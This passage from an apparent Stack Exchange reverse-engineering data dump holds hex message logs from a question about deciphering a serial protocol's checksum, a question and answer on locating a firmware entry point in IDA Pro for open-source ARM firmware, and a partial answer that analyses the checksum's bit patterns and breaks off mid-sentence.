B9&#xA; 9    65    A0 82 00 40 02 00 01 C6 41&#xA; 9    66    A0 82 00 41 02 00 01 C6 49&#xA; 9    67    A0 82 00 42 02 00 01 C6 51&#xA; 9    68    A0 82 00 43 02 00 01 C6 59&#xA; 9    69    A0 82 00 44 02 00 01 C6 61&#xA; 9    70    A0 82 00 45 02 00 01 C6 69&#xA; 9    71    A0 82 00 46 02 00 01 C6 71&#xA; 9    72    A0 82 00 47 02 00 01 C6 79&#xA; 9    73    A0 82 00 48 02 00 01 C6 01&#xA; 9    74    A0 82 00 49 02 00 01 C6 09&#xA; 9    75    A0 82 00 4A 02 00 01 C6 11&#xA; 9    76    A0 82 00 4B 02 00 01 C6 19&#xA; 9    77    A0 82 00 4C 02 00 01 C6 21&#xA; 9    78    A0 82 00 4D 02 00 01 C6 29&#xA; 9    79    A0 82 00 4E 02 00 01 C6 31&#xA; 9    80    A0 82 00 4F 02 00 01 C6 39&#xA; 9    81    A0 82 00 50 02 00 01 C6 C1&#xA; 9    82    A0 82 00 51 02 00 01 C6 C9&#xA; 9    83    A0 82 00 52 02 00 01 C6 D1&#xA; 9    84    A0 82 00 53 02 00 01 C6 D9&#xA; 9    85    A0 82 00 54 02 00 01 C6 E1&#xA; 9    86    A0 82 00 55 02 00 01 C6 E9&#xA; 9    87    A0 82 00 56 02 00 01 C6 F1&#xA; 9    88    A0 82 00 57 02 00 01 C6 F9&#xA; 9    89    A0 82 00 58 02 00 01 C6 81&#xA; 9    90    A0 82 00 59 02 00 01 C6 89&#xA; 9    91    A0 82 00 5A 02 00 01 C6 91&#xA; 9    92    A0 82 00 5B 02 00 01 C6 99&#xA; 9    93    A0 82 00 5C 02 00 01 C6 A1&#xA; 9    94    A0 82 00 5D 02 00 01 C6 A9&#xA; 9    95    A0 82 00 5E 02 00 01 C6 B1&#xA; 9    96    A0 82 00 5F 02 00 01 C6 B9&#xA; 9    97    A0 82 00 60 02 00 01 C7 41&#xA; 9    98    A0 82 00 61 02 00 01 C7 49&#xA; 9    99    A0 82 00 62 02 00 01 C7 51&#xA; 9   100    A0 82 00 63 02 00 01 C7 59&#xA; 9   101    A0 82 00 64 02 00 01 C7 61&#xA; 9   102    A0 82 00 65 02 00 01 C7 69&#xA; 9   103    A0 82 00 66 02 00 01 C7 71&#xA; 9   104    A0 82 00 67 02 00 01 C7 79&#xA; 9   105    A0 82 00 68 02 00 01 C7 01&#xA; 9   106    A0 82 00 69 02 00 01 C7 09&#xA; 9   107    A0 82 00 6A 02 00 01 C7 11&#xA; 9   108    A0 82 00 6B 02 00 01 C7 19&#xA; 9   109    A0 82 00 6C 02 00 01 C7 21&#xA; 9   110    A0 82 00 6D 02 00 01 C7 29&#xA; 9   111    A0 82 00 6E 02 00 01 C7 31&#xA; 9   112    A0 82 00 6F 02 00 01 C7 39&#xA; 9   113    A0 82 00 70 02 00 01 C7 C1&#xA; 9   114    A0 82 00 71 02 00 01 C7 C9&#xA; 9   115    A0 82 00 72 02 00 01 C7 D1&#xA; 9   116    A0 82 00 73 02 00 01 C7 D9&#xA; 9   117    A0 82 00 74 02 00 01 C7 E1&#xA; 9   118    A0 82 00 75 02 00 01 C7 E9&#xA; 9   119    A0 82 00 76 02 00 01 C7 F1&#xA; 9   120    A0 82 00 77 02 00 01 C7 F9&#xA; 9   121    A0 82 00 78 02 00 01 C7 81&#xA; 9   122    A0 82 00 79 02 00 01 C7 89&#xA; 9   123    A0 82 00 7A 02 00 01 C7 91&#xA; 9   124    A0 82 00 7B 02 00 01 C7 99&#xA; 9   125    A0 82 00 7C 02 00 01 C7 A1&#xA; 9   126    A0 82 00 7D 02 00 01 C7 A9&#xA; 9   127    A0 82 00 7E 02 00 01 C7 B1&#xA; 9   128    A0 82 00 7F 02 00 01 C7 B9&#xA; 9   129    A0 82 00 80 02 00 01 C0 41&#xA; 9   130    A0 82 00 81 02 00 01 C0 49&#xA; 9   131    A0 82 00 82 02 00 01 C0 51&#xA; 9   132    A0 82 00 83 02 00 01 C0 59&#xA; 9   133    A0 82 00 84 02 00 01 C0 61&#xA; 9   134    A0 82 00 85 02 00 01 C0 69&#xA; 9   135    A0 82 00 86 02 02 00 C0 69&#xA; 9   136    A0 82 00 87 02 00 00 C0 71&#xA;&#xA;10     1    A0 07 00 3F 02&#xA;10     2    A0 82 00 40 02 00 01 E3 04 /////&#xA;10     3    A0 82 00 01 02 40 00 E3 04 /////&#xA;&#xA;&#xA;New data with more variation added:&#xA;A0 07 01 26 43&#xA;A0 82 00 01 02 40 00 D1 52&#xA;A0 82 00 02 02 00 00 C1 92&#xA;A0 82 00 03 02 00 01 C1 92&#xA;A0 82 00 04 02 00 01 C0 52&#xA;A0 82 00 05 02 00 81 E0 12&#xA;A0 82 00 06 02 00 81 E0 D2&#xA;A0 82 00 07 02 00 01 C0 92&#xA;A0 82 00 08 02 00 01 C3 52&#xA;A0 82 00 09 02 00 01 C3 12&#xA;A0 82 00 0A 02 00 01 C3 D2&#xA;A0 82 00 0B 02 00 01 C3 92&#xA;A0 82 00 0C 02 00 01 C2 52&#xA;A0 82 00 0D 02 00 01 C2 12&#xA;A0 82 00 0E 02 01 00 C2 D2&#xA;A0 82 00 0F 02 00 00 C2 D2&#xA;A0 82 00 10 02 00 01 C5 52&#xA;A0 82 00 11 02 00 01 C5 12&#xA;A0 82 00 12 02 02 00 C5 12&#xA;A0 82 00 13 02 00 00 C5 D2&#xA;A0 82 00 14 02 01 00 C4 52&#xA;A0 82 00 15 02 00 00 C4 52&#xA;A0 82 00 16 02 00 81 E4 D2&#xA;A0 82 00 17 02 00 01 C4 92&#xA;A0 82 00 18 02 01 00 C7 52&#xA;A0 82 00 19 02 00 00 C7 52&#xA;A0 82 00 1A 02 01 00 C7 D2&#xA;A0 82 00 1B 02 00 00 C7 D2&#xA;A0 82 00 1C 02 00 01 C6 52&#xA;A0 82 00 1D 02 01 00 C6 12&#xA;A0 82 00 1E 02 00 00 C6 92&#xA;A0 82 00 1F 02 01 00 C6 92&#xA;A0 82 00 20 02 00 00 C9 12&#xA;A0 82 00 21 02 00 01 C9 12&#xA;A0 82 00 22 02 01 00 C9 D2&#xA;A0 82 00 23 02 00 00 C9 D2&#xA;A0 82 00 24 02 00 01 C8 52&#xA;A0 82 00 25 02 00 01 C8 12&#xA;A0 82 00 26 02 00 01 C8 D2&#xA;A0 82 00 27 02 00 01 C8 92&#xA;A0 82 00 28 02 00 01 CB 52&#xA;A0 82 00 29 02 00 01 CB 12&#xA;A0 82 00 2A 02 00 01 CB D2&#xA;A0 82 00 2B 02 00 81 EB 92&#xA;A0 82 00 2C 02 00 81 EA 52&#xA;A0 82 00 2D 02 00 81 EA 12&#xA;A0 82 00 2E 02 01 00 CA D2&#xA;A0 82 00 2F 02 00 00 CA D2&#xA;A0 82 00 30 02 00 81 ED 52&#xA;A0 82 00 31 02 00 81 ED 12&#xA;A0 82 00 32 02 01 00 CD D2&#xA;A0 82 00 33 02 00 00 CD D2&#xA;A0 82 00 34 02 01 00 CC 52&#xA;A0 82 00 35 02 00 00 CC 52&#xA;A0 82 00 36 02 01 00 CC D2&#xA;A0 82 00 37 02 00 00 CC D2&#xA;A0 82 00 38 02 00 81 EF 52&#xA;A0 82 00 39 02 00 81 EF 12&#xA;A0 82 00 3A 02 02 00 CF 12&#xA;A0 82 00 3B 02 00 00 CF D2&#xA;A0 82 00 3C 02 02 00 CE 92&#xA;A0 82 00 3D 02 00 00 CE 52&#xA;A0 82 00 3E 02 02 00 CE 12&#xA;A0 82 00 3F 02 00 00 CE D2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18276" LastEditorUserId="18276" LastEditDate="2016-12-04T22:14:02.017" LastActivityDate="2016-12-18T22:27:56.703" Title="De-ciphering help needed" Tags="|crc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14094" PostTypeId="1" AcceptedAnswerId="14096" CreationDate="2016-12-02T21:07:06.647" Score="3" ViewCount="10546" Body="&lt;p&gt;I am trying to become familiar with IDA by reversing a .bin file that I have compiled myself. The code is written in cpp and the open source code can be found here: &lt;a href=&quot;https://github.com/openxc/vi-firmware&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/openxc/vi-firmware&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking a look at the Makefile and linker files (in vi-firmware/src and vi-firmware/src/platform/lpc17xx/), you can see the Flash and RAM locations are called out in the comments. The microcontroller uses an LPC17xx (&lt;a href=&quot;http://vi.openxcplatform.com/electrical/design/microcontroller.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://vi.openxcplatform.com/electrical/design/microcontroller.html&lt;/a&gt;) with and ARM 7 architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, when I load IDA, I select Binary file and set the Processor to ARM and Processor Options to ARM 7. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the next menu I configure the RAM and ROM according to the comments in vi-firmware/src/platform/lpc17xx/LPC17xx-bootloader.ld and then, after pressing OK, get  the dialogue box telling me to &quot;Please move to what you think is an entry point&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I move 64KB (0x10000) into Flash (ROM) and hit 'C' to try to auto-analyse. Only a few lines translate to assembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything else I can do here? I've combed the datasheet for the uC but haven't been able to find anything of use.&lt;/p&gt;&#xA;" OwnerUserId="17889" LastActivityDate="2016-12-03T01:18:24.173" Title="Locating entry point in specific firmware .bin file using IDA Pro" Tags="|ida|binary-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14096" PostTypeId="2" ParentId="14094" CreationDate="2016-12-03T01:18:24.173" Score="2" Body="&lt;p&gt;&lt;em&gt;(Disclaimer: I do not know ARM, this could be totally wrong)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I loaded &lt;code&gt;vi-default-firmware-FORDBOARD-ctv7.2.0.bin&lt;/code&gt; (downloaded from the &lt;a href=&quot;https://github.com/openxc/vi-firmware/releases&quot; rel=&quot;nofollow noreferrer&quot;&gt;releases&lt;/a&gt; page) into IDA with these settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qFivb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qFivb.png&quot; alt=&quot;Settings for firmware&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, after putting the cursor at &lt;code&gt;0x10000&lt;/code&gt;, you have to press &lt;kbd&gt;C&lt;/kbd&gt;, then scroll to the &lt;em&gt;undefined&lt;/em&gt; bytes, then press &lt;kbd&gt;C&lt;/kbd&gt; again. Scroll to the top of the function and press &lt;kbd&gt;P&lt;/kbd&gt; to make it a function, and have a nice graph view with &lt;kbd&gt;Space&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dchMU.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dchMU.gif&quot; alt=&quot;How to fix the code&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have any experience with ARM, but this seems like a proper function graph to me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8QV7c.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8QV7c.png&quot; alt=&quot;ARM function graph&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17693" LastActivityDate="2016-12-03T01:18:24.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14098" PostTypeId="2" ParentId="14092" CreationDate="2016-12-03T07:36:05.993" Score="2" Body="&lt;p&gt;I edited your example data to include block- and line numbers to make referencing them easier. Unfortunately, this increased the size of the question to more than 32K, so i had to throw away some stuff at the end. Here is the rest of your data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;11     1    A0 82 00 01 02 40 00 E3 04 ////&#xA;11     2    A0 82 00 02 02 00 00 E2 08&#xA;11     3    A0 82 00 03 02 00 01 E2 08&#xA;11     4    A0 82 00 04 02 00 01 E2 14&#xA;11     5    A0 82 00 05 02 00 01 E2 10&#xA;11     6    A0 82 00 06 02 00 01 E2 1C&#xA;11     7    A0 82 00 07 02 00 01 E2 18&#xA;11     8    A0 82 00 08 02 00 01 E2 24&#xA;11     9    A0 82 00 09 02 00 01 E2 20&#xA;11    10    A0 82 00 0A 02 00 01 E2 2C&#xA;11    11    A0 82 00 0B 02 00 01 E2 28&#xA;11    12    A0 82 00 0C 02 00 01 E2 34&#xA;11    13    A0 82 00 0D 02 00 01 E2 30&#xA;11    14    A0 82 00 0E 02 00 01 E2 3C&#xA;11    15    A0 82 00 0F 02 00 01 E2 38&#xA;11    16    A0 82 00 10 02 00 01 E2 44&#xA;11    17    A0 82 00 11 02 00 01 E2 40&#xA;11    18    A0 82 00 12 02 00 01 E2 4C&#xA;11    19    A0 82 00 13 02 00 01 E2 48&#xA;11    20    A0 82 00 14 02 00 01 E2 54&#xA;11    21    A0 82 00 15 02 00 01 E2 50&#xA;11    22    A0 82 00 16 02 00 01 E2 5C&#xA;11    23    A0 82 00 17 02 00 01 E2 58&#xA;11    24    A0 82 00 18 02 00 01 E2 64&#xA;11    25    A0 82 00 19 02 00 01 E2 60&#xA;11    26    A0 82 00 1A 02 00 01 E2 6C&#xA;11    27    A0 82 00 1B 02 00 01 E2 68&#xA;11    28    A0 82 00 1C 02 00 01 E2 74&#xA;11    29    A0 82 00 1D 02 00 01 E2 70&#xA;11    30    A0 82 00 1E 02 00 01 E2 7C&#xA;11    31    A0 82 00 1F 02 00 01 E2 78&#xA;11    32    A0 82 00 20 02 00 01 E2 84&#xA;11    33    A0 82 00 21 02 00 01 E2 80&#xA;11    34    A0 82 00 22 02 00 01 E2 8C&#xA;11    35    A0 82 00 23 02 00 01 E2 88&#xA;11    36    A0 82 00 24 02 00 01 E2 94&#xA;11    37    A0 82 00 25 02 00 01 E2 90&#xA;11    38    A0 82 00 26 02 00 01 E2 9C&#xA;11    39    A0 82 00 27 02 00 01 E2 98&#xA;11    40    A0 82 00 28 02 00 01 E2 A4&#xA;11    41    A0 82 00 29 02 00 01 E2 A0&#xA;11    42    A0 82 00 2A 02 00 01 E2 AC&#xA;11    43    A0 82 00 2B 02 00 01 E2 A8&#xA;11    44    A0 82 00 2C 02 00 01 E2 B4&#xA;11    45    A0 82 00 2D 02 00 01 E2 B0&#xA;11    46    A0 82 00 2E 02 00 01 E2 BC&#xA;11    47    A0 82 00 2F 02 00 01 E2 B8&#xA;11    48    A0 82 00 30 02 00 01 E2 C4&#xA;11    49    A0 82 00 31 02 00 01 E2 C0&#xA;11    50    A0 82 00 32 02 00 01 E2 CC&#xA;11    51    A0 82 00 33 02 00 01 E2 C8&#xA;11    52    A0 82 00 34 02 00 01 E2 D4&#xA;11    53    A0 82 00 35 02 00 01 E2 D0&#xA;11    54    A0 82 00 36 02 00 01 E2 DC&#xA;11    55    A0 82 00 37 02 00 01 E2 D8&#xA;11    56    A0 82 00 38 02 00 01 E2 E4&#xA;11    57    A0 82 00 39 02 00 01 E2 E0&#xA;11    58    A0 82 00 3A 02 00 01 E2 EC&#xA;11    59    A0 82 00 3B 02 00 01 E2 E8&#xA;11    60    A0 82 00 3C 02 00 01 E2 F4&#xA;11    61    A0 82 00 3D 02 00 01 E2 F0&#xA;11    62    A0 82 00 3E 02 00 01 E2 FC&#xA;11    63    A0 82 00 3F 02 00 01 E2 F8&#xA;11    64    A0 82 00 40 02 00 01 E3 04  /////&#xA;11    65    A0 82 00 41 02 00 01 E3 00&#xA;11    66    A0 82 00 42 02 00 01 E3 0C&#xA;11    67    A0 82 00 43 02 00 01 E3 08&#xA;11    68    A0 82 00 44 02 00 01 E3 14&#xA;11    69    A0 82 00 45 02 00 01 E3 10&#xA;11    70    A0 82 00 46 02 00 01 E3 1C&#xA;11    71    A0 82 00 47 02 00 01 E3 18&#xA;11    72    A0 82 00 48 02 00 01 E3 24&#xA;11    73    A0 82 00 49 02 00 01 E3 20&#xA;11    74    A0 82 00 4A 02 00 01 E3 2C&#xA;11    75    A0 82 00 4B 02 00 01 E3 28&#xA;11    76    A0 82 00 4C 02 00 01 E3 34&#xA;11    77    A0 82 00 4D 02 00 01 E3 30&#xA;11    78    A0 82 00 4E 02 00 01 E3 3C&#xA;11    79    A0 82 00 4F 02 00 01 E3 38&#xA;11    80    A0 82 00 50 02 00 01 E3 44&#xA;11    81    A0 82 00 51 02 00 01 E3 40&#xA;11    82    A0 82 00 52 02 00 01 E3 4C&#xA;11    83    A0 82 00 53 02 00 01 E3 48&#xA;11    84    A0 82 00 54 02 00 01 E3 54&#xA;11    85    A0 82 00 55 02 00 01 E3 50&#xA;11    86    A0 82 00 56 02 00 01 E3 5C&#xA;11    87    A0 82 00 57 02 00 01 E3 58&#xA;11    88    A0 82 00 58 02 00 01 E3 64&#xA;11    89    A0 82 00 59 02 00 01 E3 60&#xA;11    90    A0 82 00 5A 02 00 01 E3 6C&#xA;11    91    A0 82 00 5B 02 02 00 E3 64&#xA;11    92    A0 82 00 5C 02 00 00 E3 70&#xA;&#xA;12     1    A0 07 05 21 41&#xA;12     2    A0 82 00 01 02 40 00 15 05&#xA;12     3    A0 82 00 02 02 00 00 14 09&#xA;12     4    A0 82 00 03 02 00 01 14 09&#xA;12     5    A0 82 00 04 02 00 01 14 15&#xA;12     6    A0 82 00 05 02 00 01 14 11&#xA;12     7    A0 82 00 06 02 00 01 14 1D&#xA;12     8    A0 82 00 07 02 00 01 14 19&#xA;12     9    A0 82 00 08 02 00 01 14 25&#xA;12    10    A0 82 00 09 02 00 01 14 21&#xA;12    11    A0 82 00 0A 02 00 01 14 2D&#xA;12    12    A0 82 00 0B 02 00 01 14 29&#xA;12    13    A0 82 00 0C 02 00 01 14 35&#xA;12    14    A0 82 00 0D 02 00 01 14 31&#xA;12    15    A0 82 00 0E 02 00 01 14 3D&#xA;12    16    A0 82 00 0F 02 00 01 14 39&#xA;12    17    A0 82 00 10 02 00 01 14 45&#xA;12    18    A0 82 00 11 02 00 01 14 41&#xA;12    19    A0 82 00 12 02 00 01 14 4D&#xA;12    20    A0 82 00 13 02 00 01 14 49&#xA;12    21    A0 82 00 14 02 00 01 14 55&#xA;12    22    A0 82 00 15 02 00 01 14 51&#xA;12    23    A0 82 00 16 02 00 01 14 5D&#xA;12    24    A0 82 00 17 02 00 01 14 59&#xA;12    25    A0 82 00 18 02 00 01 14 65&#xA;12    26    A0 82 00 19 02 00 01 14 61&#xA;12    27    A0 82 00 1A 02 00 01 14 6D&#xA;12    28    A0 82 00 1B 02 00 01 14 69&#xA;12    29    A0 82 00 1C 02 00 01 14 75&#xA;12    30    A0 82 00 1D 02 00 01 14 71&#xA;12    31    A0 82 00 1E 02 00 01 14 7D&#xA;12    32    A0 82 00 1F 02 00 01 14 79&#xA;12    33    A0 82 00 20 02 00 01 14 85&#xA;12    34    A0 82 00 21 02 00 01 14 81&#xA;12    35    A0 82 00 22 02 00 01 14 8D&#xA;12    36    A0 82 00 23 02 00 01 14 89&#xA;12    37    A0 82 00 24 02 00 01 14 95&#xA;12    38    A0 82 00 25 02 00 01 14 91&#xA;12    39    A0 82 00 26 02 00 01 14 9D&#xA;12    40    A0 82 00 27 02 00 01 14 99&#xA;12    41    A0 82 00 28 02 00 01 14 A5&#xA;12    42    A0 82 00 29 02 00 01 14 A1&#xA;12    43    A0 82 00 2A 02 00 01 14 AD&#xA;12    44    A0 82 00 2B 02 00 01 14 A9&#xA;12    45    A0 82 00 2C 02 00 01 14 B5&#xA;12    46    A0 82 00 2D 02 00 01 14 B1&#xA;12    47    A0 82 00 2E 02 00 01 14 BD&#xA;12    48    A0 82 00 2F 02 00 01 14 B9&#xA;12    49    A0 82 00 30 02 00 01 14 C5&#xA;12    50    A0 82 00 31 02 00 01 14 C1&#xA;12    51    A0 82 00 32 02 00 01 14 CD&#xA;12    52    A0 82 00 33 02 00 01 14 C9&#xA;12    53    A0 82 00 34 02 00 01 14 D5&#xA;12    54    A0 82 00 35 02 00 01 14 D1&#xA;12    55    A0 82 00 36 02 00 01 14 DD&#xA;12    56    A0 82 00 37 02 00 01 14 D9&#xA;12    57    A0 82 00 38 02 00 01 14 E5&#xA;12    58    A0 82 00 39 02 00 01 14 E1&#xA;12    59    A0 82 00 3A 02 00 01 14 ED&#xA;12    60    A0 82 00 3B 02 00 01 14 E9&#xA;12    61    A0 82 00 3C 02 00 01 14 F5&#xA;12    62    A0 82 00 3D 02 00 01 14 F1&#xA;12    63    A0 82 00 3E 02 00 01 14 FD&#xA;12    64    A0 82 00 3F 02 00 01 14 F9&#xA;12    65    A0 82 00 40 02 00 01 15 05&#xA;12    66    A0 82 00 41 02 00 01 15 01&#xA;12    67    A0 82 00 42 02 00 01 15 0D&#xA;12    68    A0 82 00 43 02 00 01 15 09&#xA;12    69    A0 82 00 44 02 00 01 15 15&#xA;12    70    A0 82 00 45 02 00 01 15 11&#xA;12    71    A0 82 00 46 02 02 00 15 11&#xA;12    72    A0 82 00 47 02 00 00 15 1D&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Answer section&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Let's look at some packets that are almost the same, except for a few bits.&#xA;As you've probably noted already, the 4th byte of each &lt;code&gt;A0 82&lt;/code&gt; message&#xA;increases by one every time, so it's probably a counter, and as the 3rd byte&#xA;is always zero, I assume that is the high byte of the counter, as none of&#xA;your examples exceed 256 lines. Which means this 3rd byte changes every time,&#xA;so let's look for examples that have everything but the 3rd byte identical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you check block 8, rows 5-9, and translate the 4th and last byte to&#xA;binary&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8  5    04  AC  0000 0100   1010 1100&#xA;8  6    05  AE  0000 0101   1010 1110&#xA;8  7    06  A8  0000 0110   1010 1000&#xA;8  8    07  AA  0000 0111   1010 1010&#xA;8  9    08  B4  0000 1000   1011 0100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now, as you see, in each of these cases&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;flipping bit 8 in the input flips bit 7 in the output (Lines 5,6 and 7,8)&lt;/li&gt;&#xA;&lt;li&gt;flipping bit 7 and 8 in the input flips bits 6 and 7 in output (6,7)&lt;/li&gt;&#xA;&lt;li&gt;flipping bit 5,6,7,8 flips bits 4,5,6,7&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;so this looks a lot like an XOR with the input rotated left by one bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's verify this with another block of similar data, 7-4 to 7-10&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7  4    03  00  0000 0011   0000 0000&#xA;7  5    04  07  0000 0100   0000 0111&#xA;7  6    05  06  0000 0101   0000 0110&#xA;7  7    06  05  0000 0110   0000 0101&#xA;7  8    07  04  0000 0111   0000 0100&#xA;7  9    08  0B  0000 1000   0000 1011&#xA;7 10    09  0A  0000 1001   0000 1010&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This time, there isn't a shift, but again, the same bits that flip in the input&#xA;flip in the output as well. So, it seems like the &lt;code&gt;A0 07&lt;/code&gt; message seems to&#xA;include information about how many bits to shift.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, let's check some of your cases that have identical 'checksums':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1     3    A0 82 00 02 02 00 00 CF 62  // Note 2&#xA;1     4    A0 82 00 03 02 00 01 CF 62  // Note 2&#xA;&#xA;1    13    A0 82 00 0C 02 01 00 CF 7C&#xA;1    14    A0 82 00 0D 02 00 00 CF 7C&#xA;&#xA;1    19    A0 82 00 12 02 01 00 CF 40&#xA;1    20    A0 82 00 13 02 00 00 CF 40&#xA;&#xA;4    21    A0 82 00 14 02 01 00 9A F7&#xA;4    22    A0 82 00 15 02 00 00 9A F7&#xA;&#xA;7    21    A0 82 00 14 02 00 00 43 16&#xA;7    22    A0 82 00 15 02 00 01 43 16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you see, in all of these cases, flipping one bit in the counter is&#xA;undone by flipping the same bit in byte 7 or 8, which means those bytes have&#xA;the same amount of shift. And, as in all of your examples, byte 5 is &lt;code&gt;02&lt;/code&gt;, we&#xA;can't gather any information about this byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, let's find out if we can find the amount of shift bits in the &lt;code&gt;A0 07&lt;/code&gt;&#xA;message. Looking at it, we see the third byte is &lt;code&gt;03&lt;/code&gt;, &lt;code&gt;00&lt;/code&gt;, &lt;code&gt;01&lt;/code&gt;, &lt;code&gt;02&lt;/code&gt;, &#xA;&lt;code&gt;00&lt;/code&gt;, &lt;code&gt;00&lt;/code&gt;, &lt;code&gt;05&lt;/code&gt;, &lt;code&gt;02&lt;/code&gt;, &lt;code&gt;04&lt;/code&gt;, &lt;code&gt;00&lt;/code&gt;, (missing), and &lt;code&gt;05&lt;/code&gt;. As the bit shift &#xA;amount should be 0-7, this seems likely to have to do with it. Let's make a&#xA;table comparing byte 3, and number of shifted bits; to make this easier, i've&#xA;been looking for rows where only the last bit changes (increase from an&#xA;even number to and odd one), and noted the XOR value of the checksum:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;block   byte 3-5    example (inc 1) xor last byte   bit shift&#xA;1       03 2c 06    29,30       02      1&#xA;2       00 15 3A    7,8     04      2&#xA;3       01 06 5B    5,6     40      6&#xA;4       02 27 58    9,10        01      0&#xA;5       00 27 1A    5,6     04      2&#xA;6       00 1A 2F    7,8     80      7&#xA;7       05 22 40    5,6     01      0&#xA;8       02 50 34    4,5     02      1&#xA;9       04 3F 0B    5,6     08      3&#xA;10      00 3F 02    (none)&#xA;11      ?? ?? ??    (none)&#xA;12      05 21 41    5,6     04      2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ok, seems it's not the first byte; the same first byte (block 5, 6) yields&#xA;different shift values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Writing bytes 3-5 in binary, and the bit shift in binary as well,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1   00000011 00101100 00000110  0001    1&#xA;2   00000000 00010101 00111010  0010    2&#xA;3   00000001 00000110 01011011  0110    6&#xA;4   00000010 00100111 01011000  0000    0&#xA;5   00000000 00100111 00011010  0010    2&#xA;6   00000000 00011010 00101111  0111    7&#xA;7   00000101 00100010 01000000  0000    0&#xA;8   00000010 01010000 00110100  0001    1&#xA;9   00000100 00111111 00001011  0011    3&#xA;12  00000101 00100001 01000001  0010    2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;doesn't show an obvious pattern either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make sure my assumptions about shifting the bytes by some constant amount are correct, I wrote a small perl program to read the checksum bytes, xor them with the shifted data values, remember the result of the first line, and compare it to all other lines. Result: Within each of your examples, if you do this, the result is the same, but they are different if you do this with different examples. Which means it's probable that the initial three bytes contain a shift value and an initial checksum value, the data bytes are shifted and xored with that initial checksum, and the result is what's returned in the last two bytes. Example: In block 1, the &lt;code&gt;A0 07&lt;/code&gt; bytes are &lt;code&gt;03 2C 06&lt;/code&gt;, and the possible initial checksums are &lt;code&gt;4AE8&lt;/code&gt;, &lt;code&gt;48E0&lt;/code&gt; and &lt;code&gt;4A60&lt;/code&gt;. In binary, these are the first row of the follwoing table.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000011  00101100  00000110    1100111101100010  1100111001100110  1100111100100110  &#xA;00000000  00010101  00111010    0100101011101000  0100100011100000  0100101001100000  &#xA;00000001  00000110  01011011    1100110110000010  1110110100000010  1100010100000010  &#xA;00000010  00100111  01011000    1001101011100000  1001101001100010  1001101011000010  &#xA;00000000  00100111  00011010    1000001001101000  1000000001100000  1000001011100000  &#xA;00000000  00011010  00101111    1101011110001110  1001011010001110  1100011010001110  &#xA;00000101  00100010  01000000    0100001100000000  0100001110000010  0100001100100010  &#xA;00000010  01010000  00110100    1000111010100010  1000111110100110  1000111011100110  &#xA;00000100  00111111  00001011    1100010001011001  1100000001001001  1100010101001001  &#xA;00000101  00100001  01000001    0001010000001001  0001011000000001  0001010010000001  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I didn't see any obvious patterns in this, I wrote another program to check if there are any input bits that always - or never - match the same output bit, which would mean the output bit is equal to or the inverse of the input bit. Result: Nothing, except that bits 0-3, 8 and 16 of the input, and bits 3, 27, 34 and 43 of the output are always zero, and bit 21 of the input matches bits 36 and 45 of the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this with some variations on the input as well; rotating the last two bytes to the left/right by the number of bits given in the byte after &lt;code&gt;A0 07&lt;/code&gt;, to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, right now, I'm at a loss. I'm still quite sure the three bytes after &lt;code&gt;A0 07&lt;/code&gt; determine the shift and initial checksum of the algorithm for the &lt;code&gt;A0 82&lt;/code&gt; bytes, but I have no idea how. In case you're interested in my programs to experiment some more, here they 